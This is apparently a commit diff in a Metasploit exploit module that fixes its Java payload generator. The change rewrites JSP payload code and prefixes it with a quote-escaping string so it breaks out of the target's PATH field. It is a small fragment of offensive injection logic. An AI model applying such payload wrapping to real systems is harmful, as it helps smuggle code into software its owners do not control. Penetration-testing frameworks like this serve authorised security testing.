Fix Java payload generator
parent
464808d825
commit
08d08d2c95
|
@ -153,12 +153,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
datastore[payload_loc] = wrapped_payload
|
||||
when 'java'
|
||||
payload_loc = 'PATH'
|
||||
payload_prefix = "a\\\"; "
|
||||
payload_prefix = %q{a\\\"; "}
|
||||
p = payload.encoded.gsub(/<%@page import="/, 'import ')
|
||||
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
|
||||
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
|
||||
wrapped_payload = datastore['PAYLOAD_PREFIX'] +
|
||||
p + datastore['PAYLOAD_SUFFIX']
|
||||
wrapped_payload = datastore['PAYLOAD_PREFIX'] + p
|
||||
datastore[payload_loc] = wrapped_payload
|
||||
end
|
||||
else
|
||||
|
|
Loading…
Reference in New Issue